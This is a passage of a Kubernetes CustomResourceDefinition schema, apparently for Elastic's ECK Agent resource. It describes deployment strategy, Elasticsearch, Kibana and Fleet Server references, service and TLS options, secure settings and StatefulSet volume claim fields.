                                Value can be an absolute number (ex: 5) or a percentage of desired pods (ex: 10%).
                                Absolute number is calculated from percentage by rounding down.
                                This can not be 0 if MaxSurge is 0.
                                Defaults to 25%.
                                Example: when this is set to 30%, the old ReplicaSet can be scaled down to 70% of desired pods
                                immediately when the rolling update starts. Once new pods are ready, old ReplicaSet
                                can be scaled down further, followed by scaling up the new ReplicaSet, ensuring
                                that the total number of pods available at all times during the update is at
                                least 70% of desired pods.
                              x-kubernetes-int-or-string: true
                          type: object
                        type:
                          description: Type of deployment. Can be "Recreate" or "RollingUpdate".
                            Default is RollingUpdate.
                          type: string
                      type: object
                  type: object
                elasticsearchRefs:
                  description: |-
                    ElasticsearchRefs is a reference to a list of Elasticsearch clusters running in the same Kubernetes cluster.
                    Due to existing limitations, only a single ES cluster is currently supported.
                  items:
                    properties:
                      name:
                        description: Name of an existing Kubernetes object corresponding
                          to an Elastic resource managed by ECK.
                        type: string
                      namespace:
                        description: Namespace of the Kubernetes object. If empty,
                          defaults to the current namespace.
                        type: string
                      outputName:
                        type: string
                      secretName:
                        description: |-
                          SecretName is the name of an existing Kubernetes secret that contains connection information for associating an
                          Elastic resource not managed by the operator. The referenced secret must contain the following:
                          - `url`: the URL to reach the Elastic resource
                          - `username`: the username of the user to be authenticated to the Elastic resource
                          - `password`: the password of the user to be authenticated to the Elastic resource
                          - `ca.crt`: the CA certificate in PEM format (optional)
                          - `api-key`: the key to authenticate against the Elastic resource instead of a username and password (supported only for `elasticsearchRefs` in AgentSpec and in BeatSpec)
                          This field cannot be used in combination with the other fields name, namespace or serviceName.
                        type: string
                      serviceName:
                        description: |-
                          ServiceName is the name of an existing Kubernetes service which is used to make requests to the referenced
                          object. It has to be in the same namespace as the referenced resource. If left empty, the default HTTP service of
                          the referenced resource is used.
                        type: string
                    type: object
                  type: array
                fleetServerEnabled:
                  description: FleetServerEnabled determines whether this Agent will
                    launch Fleet Server. Don't set unless `mode` is set to `fleet`.
                  type: boolean
                fleetServerRef:
                  description: |-
                    FleetServerRef is a reference to Fleet Server that this Agent should connect to to obtain it's configuration.
                    Don't set unless `mode` is set to `fleet`.
                  properties:
                    name:
                      description: Name of an existing Kubernetes object corresponding
                        to an Elastic resource managed by ECK.
                      type: string
                    namespace:
                      description: Namespace of the Kubernetes object. If empty, defaults
                        to the current namespace.
                      type: string
                    secretName:
                      description: |-
                        SecretName is the name of an existing Kubernetes secret that contains connection information for associating an
                        Elastic resource not managed by the operator. The referenced secret must contain the following:
                        - `url`: the URL to reach the Elastic resource
                        - `username`: the username of the user to be authenticated to the Elastic resource
                        - `password`: the password of the user to be authenticated to the Elastic resource
                        - `ca.crt`: the CA certificate in PEM format (optional)
                        - `api-key`: the key to authenticate against the Elastic resource instead of a username and password (supported only for `elasticsearchRefs` in AgentSpec and in BeatSpec)
                        This field cannot be used in combination with the other fields name, namespace or serviceName.
                      type: string
                    serviceName:
                      description: |-
                        ServiceName is the name of an existing Kubernetes service which is used to make requests to the referenced
                        object. It has to be in the same namespace as the referenced resource. If left empty, the default HTTP service of
                        the referenced resource is used.
                      type: string
                  type: object
                http:
                  description: HTTP holds the HTTP layer configuration for the Agent
                    in Fleet mode with Fleet Server enabled.
                  properties:
                    service:
                      description: Service defines the template for the associated
                        Kubernetes Service object.
                      properties:
                        metadata:
                          description: |-
                            ObjectMeta is the metadata of the service.
                            The name and namespace provided here are managed by ECK and will be ignored.
                          properties:
                            annotations:
                              additionalProperties:
                                type: string
                              type: object
                            finalizers:
                              items:
                                type: string
                              type: array
                            labels:
                              additionalProperties:
                                type: string
                              type: object
                            name:
                              type: string
                            namespace:
                              type: string
                          type: object
                        spec:
                          description: Spec is the specification of the service.
                          properties:
                            allocateLoadBalancerNodePorts:
                              description: |-
                                allocateLoadBalancerNodePorts defines if NodePorts will be automatically
                                allocated for services with type LoadBalancer.  Default is "true". It
                                may be set to "false" if the cluster load-balancer does not rely on
                                NodePorts.  If the caller requests specific NodePorts (by specifying a
                                value), those requests will be respected, regardless of this field.
                                This field may only be set for services with type LoadBalancer and will
                                be cleared if the type is changed to any other type.
                              type: boolean
                            clusterIP:
                              description: |-
                                clusterIP is the IP address of the service and is usually assigned
                                randomly. If an address is specified manually, is in-range (as per
                                system configuration), and is not in use, it will be allocated to the
                                service; otherwise creation of the service will fail. This field may not
                                be changed through updates unless the type field is also being changed
                                to ExternalName (which requires this field to be blank) or the type
                                field is being changed from ExternalName (in which case this field may
                                optionally be specified, as describe above).  Valid values are "None",
                                empty string (""), or a valid IP address. Setting this to "None" makes a
                                "headless service" (no virtual IP), which is useful when direct endpoint
                                connections are preferred and proxying is not required.  Only applies to
                                types ClusterIP, NodePort, and LoadBalancer. If this field is specified
                                when creating a Service of type ExternalName, creation will fail. This
                                field will be wiped when updating a Service to type ExternalName.
                                More info: https://kubernetes.io/docs/concepts/services-networking/service/#virtual-ips-and-service-proxies
                              type: string
                            clusterIPs:
                              description: |-
                                ClusterIPs is a list of IP addresses assigned to this service, and are
                                usually assigned randomly.  If an address is specified manually, is
                                in-range (as per system configuration), and is not in use, it will be
                                allocated to the service; otherwise creation of the service will fail.
                                This field may not be changed through updates unless the type field is
                                also being changed to ExternalName (which requires this field to be
                                empty) or the type field is being changed from ExternalName (in which
                                case this field may optionally be specified, as describe above).  Valid
                                values are "None", empty string (""), or a valid IP address.  Setting
                                this to "None" makes a "headless service" (no virtual IP), which is
                                useful when direct endpoint connections are preferred and proxying is
                                not required.  Only applies to types ClusterIP, NodePort, and
                                LoadBalancer. If this field is specified when creating a Service of type
                                ExternalName, creation will fail. This field will be wiped when updating
                                a Service to type ExternalName.  If this field is not specified, it will
                                be initialized from the clusterIP field.  If this field is specified,
                                clients must ensure that clusterIPs[0] and clusterIP have the same
                                value.


                                This field may hold a maximum of two entries (dual-stack IPs, in either order).
                                These IPs must correspond to the values of the ipFamilies field. Both
                                clusterIPs and ipFamilies are governed by the ipFamilyPolicy field.
                                More info: https://kubernetes.io/docs/concepts/services-networking/service/#virtual-ips-and-service-proxies
                              items:
                                type: string
                              type: array
                              x-kubernetes-list-type: atomic
                            externalIPs:
                              description: |-
                                externalIPs is a list of IP addresses for which nodes in the cluster
                                will also accept traffic for this service.  These IPs are not managed by
                                Kubernetes.  The user is responsible for ensuring that traffic arrives
                                at a node with this IP.  A common example is external load-balancers
                                that are not part of the Kubernetes system.
                              items:
                                type: string
                              type: array
                              x-kubernetes-list-type: atomic
                            externalName:
                              description: |-
                                externalName is the external reference that discovery mechanisms will
                                return as an alias for this service (e.g. a DNS CNAME record). No
                                proxying will be involved.  Must be a lowercase RFC-1123 hostname
                                (https://tools.ietf.org/html/rfc1123) and requires `type` to be "ExternalName".
                              type: string
                            externalTrafficPolicy:
                              description: |-
                                externalTrafficPolicy describes how nodes distribute service traffic they
                                receive on one of the Service's "externally-facing" addresses (NodePorts,
                                ExternalIPs, and LoadBalancer IPs). If set to "Local", the proxy will configure
                                the service in a way that assumes that external load balancers will take care
                                of balancing the service traffic between nodes, and so each node will deliver
                                traffic only to the node-local endpoints of the service, without masquerading
                                the client source IP. (Traffic mistakenly sent to a node with no endpoints will
                                be dropped.) The default value, "Cluster", uses the standard behavior of
                                routing to all endpoints evenly (possibly modified by topology and other
                                features). Note that traffic sent to an External IP or LoadBalancer IP from
                                within the cluster will always get "Cluster" semantics, but clients sending to
                                a NodePort from within the cluster may need to take traffic policy into account
                                when picking a node.
                              type: string
                            healthCheckNodePort:
                              description: |-
                                healthCheckNodePort specifies the healthcheck nodePort for the service.
                                This only applies when type is set to LoadBalancer and
                                externalTrafficPolicy is set to Local. If a value is specified, is
                                in-range, and is not in use, it will be used.  If not specified, a value
                                will be automatically allocated.  External systems (e.g. load-balancers)
                                can use this port to determine if a given node holds endpoints for this
                                service or not.  If this field is specified when creating a Service
                                which does not need it, creation will fail. This field will be wiped
                                when updating a Service to no longer need it (e.g. changing type).
                                This field cannot be updated once set.
                              format: int32
                              type: integer
                            internalTrafficPolicy:
                              description: |-
                                InternalTrafficPolicy describes how nodes distribute service traffic they
                                receive on the ClusterIP. If set to "Local", the proxy will assume that pods
                                only want to talk to endpoints of the service on the same node as the pod,
                                dropping the traffic if there are no local endpoints. The default value,
                                "Cluster", uses the standard behavior of routing to all endpoints evenly
                                (possibly modified by topology and other features).
                              type: string
                            ipFamilies:
                              description: |-
                                IPFamilies is a list of IP families (e.g. IPv4, IPv6) assigned to this
                                service. This field is usually assigned automatically based on cluster
                                configuration and the ipFamilyPolicy field. If this field is specified
                                manually, the requested family is available in the cluster,
                                and ipFamilyPolicy allows it, it will be used; otherwise creation of
                                the service will fail. This field is conditionally mutable: it allows
                                for adding or removing a secondary IP family, but it does not allow
                                changing the primary IP family of the Service. Valid values are "IPv4"
                                and "IPv6".  This field only applies to Services of types ClusterIP,
                                NodePort, and LoadBalancer, and does apply to "headless" services.
                                This field will be wiped when updating a Service to type ExternalName.


                                This field may hold a maximum of two entries (dual-stack families, in
                                either order).  These families must correspond to the values of the
                                clusterIPs field, if specified. Both clusterIPs and ipFamilies are
                                governed by the ipFamilyPolicy field.
                              items:
                                description: |-
                                  IPFamily represents the IP Family (IPv4 or IPv6). This type is used
                                  to express the family of an IP expressed by a type (e.g. service.spec.ipFamilies).
                                type: string
                              type: array
                              x-kubernetes-list-type: atomic
                            ipFamilyPolicy:
                              description: |-
                                IPFamilyPolicy represents the dual-stack-ness requested or required by
                                this Service. If there is no value provided, then this field will be set
                                to SingleStack. Services can be "SingleStack" (a single IP family),
                                "PreferDualStack" (two IP families on dual-stack configured clusters or
                                a single IP family on single-stack clusters), or "RequireDualStack"
                                (two IP families on dual-stack configured clusters, otherwise fail). The
                                ipFamilies and clusterIPs fields depend on the value of this field. This
                                field will be wiped when updating a service to type ExternalName.
                              type: string
                            loadBalancerClass:
                              description: |-
                                loadBalancerClass is the class of the load balancer implementation this Service belongs to.
                                If specified, the value of this field must be a label-style identifier, with an optional prefix,
                                e.g. "internal-vip" or "example.com/internal-vip". Unprefixed names are reserved for end-users.
                                This field can only be set when the Service type is 'LoadBalancer'. If not set, the default load
                                balancer implementation is used, today this is typically done through the cloud provider integration,
                                but should apply for any default implementation. If set, it is assumed that a load balancer
                                implementation is watching for Services with a matching class. Any default load balancer
                                implementation (e.g. cloud providers) should ignore Services that set this field.
                                This field can only be set when creating or updating a Service to type 'LoadBalancer'.
                                Once set, it can not be changed. This field will be wiped when a service is updated to a non 'LoadBalancer' type.
                              type: string
                            loadBalancerIP:
                              description: |-
                                Only applies to Service Type: LoadBalancer.
                                This feature depends on whether the underlying cloud-provider supports specifying
                                the loadBalancerIP when a load balancer is created.
                                This field will be ignored if the cloud-provider does not support the feature.
                                Deprecated: This field was under-specified and its meaning varies across implementations.
                                Using it is non-portable and it may not support dual-stack.
                                Users are encouraged to use implementation-specific annotations when available.
                              type: string
                            loadBalancerSourceRanges:
                              description: |-
                                If specified and supported by the platform, this will restrict traffic through the cloud-provider
                                load-balancer will be restricted to the specified client IPs. This field will be ignored if the
                                cloud-provider does not support the feature."
                                More info: https://kubernetes.io/docs/tasks/access-application-cluster/create-external-load-balancer/
                              items:
                                type: string
                              type: array
                              x-kubernetes-list-type: atomic
                            ports:
                              description: |-
                                The list of ports that are exposed by this service.
                                More info: https://kubernetes.io/docs/concepts/services-networking/service/#virtual-ips-and-service-proxies
                              items:
                                description: ServicePort contains information on service's
                                  port.
                                properties:
                                  appProtocol:
                                    description: |-
                                      The application protocol for this port.
                                      This is used as a hint for implementations to offer richer behavior for protocols that they understand.
                                      This field follows standard Kubernetes label syntax.
                                      Valid values are either:


                                      * Un-prefixed protocol names - reserved for IANA standard service names (as per
                                      RFC-6335 and https://www.iana.org/assignments/service-names).


                                      * Kubernetes-defined prefixed names:
                                        * 'kubernetes.io/h2c' - HTTP/2 prior knowledge over cleartext as described in https://www.rfc-editor.org/rfc/rfc9113.html#name-starting-http-2-with-prior-
                                        * 'kubernetes.io/ws'  - WebSocket over cleartext as described in https://www.rfc-editor.org/rfc/rfc6455
                                        * 'kubernetes.io/wss' - WebSocket over TLS as described in https://www.rfc-editor.org/rfc/rfc6455


                                      * Other protocols should use implementation-defined prefixed names such as
                                      mycompany.com/my-custom-protocol.
                                    type: string
                                  name:
                                    description: |-
                                      The name of this port within the service. This must be a DNS_LABEL.
                                      All ports within a ServiceSpec must have unique names. When considering
                                      the endpoints for a Service, this must match the 'name' field in the
                                      EndpointPort.
                                      Optional if only one ServicePort is defined on this service.
                                    type: string
                                  nodePort:
                                    description: |-
                                      The port on each node on which this service is exposed when type is
                                      NodePort or LoadBalancer.  Usually assigned by the system. If a value is
                                      specified, in-range, and not in use it will be used, otherwise the
                                      operation will fail.  If not specified, a port will be allocated if this
                                      Service requires one.  If this field is specified when creating a
                                      Service which does not need it, creation will fail. This field will be
                                      wiped when updating a Service to no longer need it (e.g. changing type
                                      from NodePort to ClusterIP).
                                      More info: https://kubernetes.io/docs/concepts/services-networking/service/#type-nodeport
                                    format: int32
                                    type: integer
                                  port:
                                    description: The port that will be exposed by
                                      this service.
                                    format: int32
                                    type: integer
                                  protocol:
                                    default: TCP
                                    description: |-
                                      The IP protocol for this port. Supports "TCP", "UDP", and "SCTP".
                                      Default is TCP.
                                    type: string
                                  targetPort:
                                    anyOf:
                                    - type: integer
                                    - type: string
                                    description: |-
                                      Number or name of the port to access on the pods targeted by the service.
                                      Number must be in the range 1 to 65535. Name must be an IANA_SVC_NAME.
                                      If this is a string, it will be looked up as a named port in the
                                      target Pod's container ports. If this is not specified, the value
                                      of the 'port' field is used (an identity map).
                                      This field is ignored for services with clusterIP=None, and should be
                                      omitted or set equal to the 'port' field.
                                      More info: https://kubernetes.io/docs/concepts/services-networking/service/#defining-a-service
                                    x-kubernetes-int-or-string: true
                                required:
                                - port
                                type: object
                              type: array
                              x-kubernetes-list-map-keys:
                              - port
                              - protocol
                              x-kubernetes-list-type: map
                            publishNotReadyAddresses:
                              description: |-
                                publishNotReadyAddresses indicates that any agent which deals with endpoints for this
                                Service should disregard any indications of ready/not-ready.
                                The primary use case for setting this field is for a StatefulSet's Headless Service to
                                propagate SRV DNS records for its Pods for the purpose of peer discovery.
                                The Kubernetes controllers that generate Endpoints and EndpointSlice resources for
                                Services interpret this to mean that all endpoints are considered "ready" even if the
                                Pods themselves are not. Agents which consume only Kubernetes generated endpoints
                                through the Endpoints or EndpointSlice resources can safely assume this behavior.
                              type: boolean
                            selector:
                              additionalProperties:
                                type: string
                              description: |-
                                Route service traffic to pods with label keys and values matching this
                                selector. If empty or not present, the service is assumed to have an
                                external process managing its endpoints, which Kubernetes will not
                                modify. Only applies to types ClusterIP, NodePort, and LoadBalancer.
                                Ignored if type is ExternalName.
                                More info: https://kubernetes.io/docs/concepts/services-networking/service/
                              type: object
                              x-kubernetes-map-type: atomic
                            sessionAffinity:
                              description: |-
                                Supports "ClientIP" and "None". Used to maintain session affinity.
                                Enable client IP based session affinity.
                                Must be ClientIP or None.
                                Defaults to None.
                                More info: https://kubernetes.io/docs/concepts/services-networking/service/#virtual-ips-and-service-proxies
                              type: string
                            sessionAffinityConfig:
                              description: sessionAffinityConfig contains the configurations
                                of session affinity.
                              properties:
                                clientIP:
                                  description: clientIP contains the configurations
                                    of Client IP based session affinity.
                                  properties:
                                    timeoutSeconds:
                                      description: |-
                                        timeoutSeconds specifies the seconds of ClientIP type session sticky time.
                                        The value must be >0 && <=86400(for 1 day) if ServiceAffinity == "ClientIP".
                                        Default value is 10800(for 3 hours).
                                      format: int32
                                      type: integer
                                  type: object
                              type: object
                            trafficDistribution:
                              description: |-
                                TrafficDistribution offers a way to express preferences for how traffic is
                                distributed to Service endpoints. Implementations can use this field as a
                                hint, but are not required to guarantee strict adherence. If the field is
                                not set, the implementation will apply its default routing strategy. If set
                                to "PreferClose", implementations should prioritize endpoints that are
                                topologically close (e.g., same zone).
                                This is an alpha field and requires enabling ServiceTrafficDistribution feature.
                              type: string
                            type:
                              description: |-
                                type determines how the Service is exposed. Defaults to ClusterIP. Valid
                                options are ExternalName, ClusterIP, NodePort, and LoadBalancer.
                                "ClusterIP" allocates a cluster-internal IP address for load-balancing
                                to endpoints. Endpoints are determined by the selector or if that is not
                                specified, by manual construction of an Endpoints object or
                                EndpointSlice objects. If clusterIP is "None", no virtual IP is
                                allocated and the endpoints are published as a set of endpoints rather
                                than a virtual IP.
                                "NodePort" builds on ClusterIP and allocates a port on every node which
                                routes to the same endpoints as the clusterIP.
                                "LoadBalancer" builds on NodePort and creates an external load-balancer
                                (if supported in the current cloud) which routes to the same endpoints
                                as the clusterIP.
                                "ExternalName" aliases this service to the specified externalName.
                                Several other fields do not apply to ExternalName services.
                                More info: https://kubernetes.io/docs/concepts/services-networking/service/#publishing-services-service-types
                              type: string
                          type: object
                      type: object
                    tls:
                      description: TLS defines options for configuring TLS for HTTP.
                      properties:
                        certificate:
                          description: |-
                            Certificate is a reference to a Kubernetes secret that contains the certificate and private key for enabling TLS.
                            The referenced secret should contain the following:


                            - `ca.crt`: The certificate authority (optional).
                            - `tls.crt`: The certificate (or a chain).
                            - `tls.key`: The private key to the first certificate in the certificate chain.
                          properties:
                            secretName:
                              description: SecretName is the name of the secret.
                              type: string
                          type: object
                        selfSignedCertificate:
                          description: SelfSignedCertificate allows configuring the
                            self-signed certificate generated by the operator.
                          properties:
                            disabled:
                              description: Disabled indicates that the provisioning
                                of the self-signed certifcate should be disabled.
                              type: boolean
                            subjectAltNames:
                              description: SubjectAlternativeNames is a list of SANs
                                to include in the generated HTTP TLS certificate.
                              items:
                                description: SubjectAlternativeName represents a SAN
                                  entry in a x509 certificate.
                                properties:
                                  dns:
                                    description: DNS is the DNS name of the subject.
                                    type: string
                                  ip:
                                    description: IP is the IP address of the subject.
                                    type: string
                                type: object
                              type: array
                          type: object
                      type: object
                  type: object
                image:
                  description: Image is the Agent Docker image to deploy. Version
                    has to match the Agent in the image.
                  type: string
                kibanaRef:
                  description: |-
                    KibanaRef is a reference to Kibana where Fleet should be set up and this Agent should be enrolled. Don't set
                    unless `mode` is set to `fleet`.
                  properties:
                    name:
                      description: Name of an existing Kubernetes object corresponding
                        to an Elastic resource managed by ECK.
                      type: string
                    namespace:
                      description: Namespace of the Kubernetes object. If empty, defaults
                        to the current namespace.
                      type: string
                    secretName:
                      description: |-
                        SecretName is the name of an existing Kubernetes secret that contains connection information for associating an
                        Elastic resource not managed by the operator. The referenced secret must contain the following:
                        - `url`: the URL to reach the Elastic resource
                        - `username`: the username of the user to be authenticated to the Elastic resource
                        - `password`: the password of the user to be authenticated to the Elastic resource
                        - `ca.crt`: the CA certificate in PEM format (optional)
                        - `api-key`: the key to authenticate against the Elastic resource instead of a username and password (supported only for `elasticsearchRefs` in AgentSpec and in BeatSpec)
                        This field cannot be used in combination with the other fields name, namespace or serviceName.
                      type: string
                    serviceName:
                      description: |-
                        ServiceName is the name of an existing Kubernetes service which is used to make requests to the referenced
                        object. It has to be in the same namespace as the referenced resource. If left empty, the default HTTP service of
                        the referenced resource is used.
                      type: string
                  type: object
                mode:
                  description: |-
                    Mode specifies the source of configuration for the Agent. The configuration can be specified locally through
                    `config` or `configRef` (`standalone` mode), or come from Fleet during runtime (`fleet` mode).
                    Defaults to `standalone` mode.
                  enum:
                  - standalone
                  - fleet
                  type: string
                policyID:
                  description: |-
                    PolicyID determines into which Agent Policy this Agent will be enrolled.
                    This field will become mandatory in a future release, default policies are deprecated since 8.1.0.
                  type: string
                revisionHistoryLimit:
                  description: RevisionHistoryLimit is the number of revisions to
                    retain to allow rollback in the underlying DaemonSet or Deployment
                    or StatefulSet.
                  format: int32
                  type: integer
                secureSettings:
                  description: |-
                    SecureSettings is a list of references to Kubernetes Secrets containing sensitive configuration options for the Agent.
                    Secrets data can be then referenced in the Agent config using the Secret's keys or as specified in `Entries` field of
                    each SecureSetting.
                  items:
                    description: SecretSource defines a data source based on a Kubernetes
                      Secret.
                    properties:
                      entries:
                        description: |-
                          Entries define how to project each key-value pair in the secret to filesystem paths.
                          If not defined, all keys will be projected to similarly named paths in the filesystem.
                          If defined, only the specified keys will be projected to the corresponding paths.
                        items:
                          description: KeyToPath defines how to map a key in a Secret
                            object to a filesystem path.
                          properties:
                            key:
                              description: Key is the key contained in the secret.
                              type: string
                            path:
                              description: |-
                                Path is the relative file path to map the key to.
                                Path must not be an absolute file path and must not contain any ".." components.
                              type: string
                          required:
                          - key
                          type: object
                        type: array
                      secretName:
                        description: SecretName is the name of the secret.
                        type: string
                    required:
                    - secretName
                    type: object
                  type: array
                serviceAccountName:
                  description: |-
                    ServiceAccountName is used to check access from the current resource to an Elasticsearch resource in a different namespace.
                    Can only be used if ECK is enforcing RBAC on references.
                  type: string
                statefulSet:
                  description: |-
                    StatefulSet specifies the Agent should be deployed as a StatefulSet, and allows providing its spec.
                    Cannot be used along with `daemonSet` or `deployment`.
                  properties:
                    podManagementPolicy:
                      default: Parallel
                      description: |-
                        PodManagementPolicy controls how pods are created during initial scale up,
                        when replacing pods on nodes, or when scaling down. The default policy is
                        `Parallel`, where pods are created in parallel to match the desired scale
                        without waiting, and on scale down will delete all pods at once.
                        The alternative policy is `OrderedReady`, the default for vanilla kubernetes
                        StatefulSets, where pods are created in increasing order in increasing order
                        (pod-0, then pod-1, etc.) and the controller will wait until each pod is ready before
                        continuing. When scaling down, the pods are removed in the opposite order.
                      enum:
                      - OrderedReady
                      - Parallel
                      type: string
                    podTemplate:
                      description: PodTemplateSpec describes the data a pod should
                        have when created from a template
                      type: object
                      x-kubernetes-preserve-unknown-fields: true
                    replicas:
                      format: int32
                      type: integer
                    serviceName:
                      type: string
                    volumeClaimTemplates:
                      description: |-
                        VolumeClaimTemplates is a list of persistent volume claims to be used by each Pod.
                        Every claim in this list must have a matching volumeMount in one of the containers defined in the PodTemplate.
                        Items defined here take precedence over any default claims added by the operator with the same name.
                      items:
                        description: PersistentVolumeClaim is a user's request for
                          and claim to a persistent volume
                        properties:
                          apiVersion:
                            description: |-
                              APIVersion defines the versioned schema of this representation of an object.
                              Servers should convert recognized schemas to the latest internal value, and
                              may reject unrecognized values.
                              More info: https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#resources
                            type: string
                          kind:
                            description: |-
                              Kind is a string value representing the REST resource this object represents.
                              Servers may infer this from the endpoint the client submits requests to.
                              Cannot be updated.
                              In CamelCase.
                              More info: https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#types-kinds
                            type: string
                          metadata:
                            description: |-
                              Standard object's metadata.
                              More info: https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#metadata
                            properties:
                              annotations:
                                additionalProperties:
                                  type: string
                                type: object
                              finalizers:
                                items:
                                  type: string
                                type: array
                              labels:
                                additionalProperties:
                                  type: string
                                type: object
                              name:
                                type: string
                              namespace:
                                type: string
                            type: object
                          spec:
                            description: |-
                              spec defines the desired characteristics of a volume requested by a pod author.
                              More info: https://kubernetes.io/docs/concepts/storage/persistent-volumes#persistentvolumeclaims
                            properties:
                              accessModes:
                                description: |-
                                  accessModes contains the desired access modes the volume should have.
                                  More info: https://kubernetes.io/docs/concepts/storage/persistent-volumes#access-modes-1
                                items:
                                  type: string
                                type: array
                                x-kubernetes-list-type: atomic
                              dataSource:
                                description: |-
                                  dataSource field can be used to specify either:
                                  * An existing VolumeSnapshot object (snapshot.storage.k8s.io/VolumeSnapshot)
                                  * An existing PVC (PersistentVolumeClaim)
                                  If the provisioner or an external controller can support the specified data source,
                                  it will create a new volume based on the contents of the specified data source.
                                  When the AnyVolumeDataSource feature gate is enabled, dataSource contents will be copied to dataSourceRef,
                                  and dataSourceRef contents will be copied to dataSource when dataSourceRef.namespace is not specified.
                                  If the namespace is specified, then dataSourceRef will not be copied to dataSource.
                                properties:
                                  apiGroup:
                                    description: |-
                                      APIGroup is the group for the resource being referenced.
                                      If APIGroup is not specified, the specified Kind must be in the core API group.
                                      For any other third-party types, APIGroup is required.
                                    type: string
                                  kind:
                                    description: Kind is the type of resource being
                                      referenced
                                    type: string
                                  name:
                                    description: Name is the name of resource being
                                      referenced
                                    type: string
                                required:
                                - kind
                                - name
                                type: object
                                x-kubernetes-map-type: atomic
                              dataSourceRef:
                                description: |-
                                  dataSourceRef specifies the object from which to populate the volume with data, if a non-empty
                                  volume is desired. This may be any object from a non-empty API group (non
                                  core object) or a PersistentVolumeClaim object.
                                  When this field is specified, volume binding will only succeed if the type of
                                  the specified object matches some installed volume populator or dynamic
                                  provisioner.
                                  This field will replace the functionality of the dataSource field and as such
                                  if both fields are non-empty, they must have the same value. For backwards
                                  compatibility, when namespace isn't specified in dataSourceRef,
                                  both fields (dataSource and dataSourceRef) will be set to the same
                                  value automatically if one of them is empty and the other is non-empty.
                                  When namespace is specified in dataSourceRef,
                                  dataSource isn't set to the same value and must be empty.
                                  There are three important differences between dataSource and dataSourceRef:
                                  * While dataSource only allows two specific types of objects, dataSourceRef
                                    allows any non-core object, as well as PersistentVolumeClaim objects.
                                  * While dataSource ignores disallowed values (dropping them), dataSourceRef
                                    preserves all values, and generates an error if a disallowed value is
                                    specified.
                                  * While dataSource only allows local objects, dataSourceRef allows objects
                                    in any namespaces.
                                  (Beta) Using this field requires the AnyVolumeDataSource feature gate to be enabled.
                                  (Alpha) Using the namespace field of dataSourceRef requires the CrossNamespaceVolumeDataSource feature gate to be enabled.
                                properties:
                                  apiGroup:
                                    description: |-
                                      APIGroup is the group for the resource being referenced.
                                      If APIGroup is not specified, the specified Kind must be in the core API group.
                                      For any other third-party types, APIGroup is required.
                                    type: string
                                  kind:
                                    description: Kind is the type of resource being
                                      referenced
                                    type: string
                                  name:
                                    description: Name is the name of resource being
                                      referenced
                                    type: string
                                  namespace:
                                    description: |-
                                      Namespace is the namespace of resource being referenced
                                      Note that when a namespace is specified, a gateway.networking.k8s.io/ReferenceGrant object is required in the referent namespace to allow that namespace's owner to accept the reference. See the ReferenceGrant documentation for details.
                                      (Alpha) This field requires the CrossNamespaceVolumeDataSource feature gate to be enabled.
                                    type: string
                                required:
                                - kind
                                - name
                                type: object
                              resources:
                                description: |-
                                  resources represents the minimum resources the volume should have.
                                  If RecoverVolumeExpansionFailure feature is enabled users are allowed to specify resource requirements
                                  that are lower than previous value but must still be higher than capacity recorded in the
                                  status field of the claim.
                                  More info: https://kubernetes.io/docs/concepts/storage/persistent-volumes#resources
                                properties:
                                  limits:
                                    additionalProperties:
                                      anyOf:
                                      - type: integer
                                      - type: string
                                      pattern: ^(\+|-)?(([0-9]+(\.[0-9]*)?)|(\.[0-9]+))(([KMGTPE]i)|[numkMGTPE]|([eE](\+|-)?(([0-9]+(\.[0-9]*)?)|(\.[0-9]+))))?$
                                      x-kubernetes-int-or-string: true
                                    description: |-
                                      Limits describes the maximum amount of compute resources allowed.
                                      More info: https://kubernetes.io/docs/concepts/configuration/manage-resources-containers/
                                    type: object
                                  requests:
                                    additionalProperties:
                                      anyOf:
                                      - type: integer
                                      - type: string
                                      pattern: ^(\+|-)?(([0-9]+(\.[0-9]*)?)|(\.[0-9]+))(([KMGTPE]i)|[numkMGTPE]|([eE](\+|-)?(([0-9]+(\.[0-9]*)?)|(\.[0-9]+))))?$
                                      x-kubernetes-int-or-string: true
                                    description: |-
                                      Requests describes the minimum amount of compute resources required.
                                      If Requests is omitted for a container, it defaults to Limits if that is explicitly specified,
                                      otherwise to an implementation-defined value. Requests cannot exceed Limits.
                                      More info: https://kubernetes.io/docs/concepts/configuration/manage-resources-containers/
                                    type: object
                                type: object
                              selector:
                                description: selector is a label query over volumes
                                  to consider for binding.
                                properties:
                                  matchExpressions:
                                    description: matchExpressions is a list of label
                                      selector requirements. The requirements are
                                      ANDed.
                                    items:
                                      description: |-
                                        A label selector requirement is a selector that contains values, a key, and an operator that
                                        relates the key and values.
                                      properties:
                                        key:
                                          description: key is the label key that the
                                            selector applies to.
                                          type: string
                                        operator:
                                          description: |-
                                            operator represents a key's relationship to a set of values.
                                            Valid operators are In, NotIn, Exists and DoesNotExist.
                                          type: string
                                        values:
                                          description: |-
                                            values is an array of string values. If the operator is In or NotIn,
                                            the values array must be non-empty. If the operator is Exists or DoesNotExist,
                                            the values array must be empty. This array is replaced during a strategic
                                            merge patch.
                                          items:
                                            type: string
                                          type: array
                                          x-kubernetes-list-type: atomic
                                      required:
                                      - key
                                      - operator
                                      type: object
                                    type: array
                                    x-kubernetes-list-type: atomic
                                  matchLabels:
                                    additionalProperties:
                                      type: string
                                    description: |-
                                      matchLabels is a map of {key,value} pairs. A single {key,value} in the matchLabels
                                      map is equivalent to an element of matchExpressions, whose key field is "key", the
                                      operator is "In", and the values array contains only "value". The requirements are ANDed.
                                    type: object
                                type: object
                                x-kubernetes-map-type: atomic
                              storageClassName:
                                description: |-
                                  storageClassName is the name of the StorageClass required by the claim.
                                  More info: https://kubernetes.io/docs/concepts/storage/persistent-volumes#class-1
                                type: string
                              volumeAttributesClassName:
                                description: |-
                                  volumeAttributesClassName may be used to set the VolumeAttributesClass used by this claim.
                                  If specified, the CSI driver will create or update the volume with the attributes defined
                                  in the corresponding VolumeAttributesClass. This has a different purpose than storageClassName,
                                  it can be changed after the claim is created. An empty string value means that no VolumeAttributesClass
                                  will be applied to the claim but it's not allowed to reset this field to empty string once it is set.
                                  If unspecified and the PersistentVolumeClaim is unbound, the default VolumeAttributesClass
                                  will be set by the persistentvolume controller if it exists.
                                  If the resource referred to by volumeAttributesClass does not exist, this PersistentVolumeClaim will be
                                  set to a Pending state, as reflected by the modifyVolumeStatus field, until such as a resource
                                  exists.
                                  More info: https://kubernetes.io/docs/concepts/storage/volume-attributes-classes/
                                  (Alpha) Using this field requires the VolumeAttributesClass feature gate to be enabled.
                                type: string
                              volumeMode:
                                description: |-
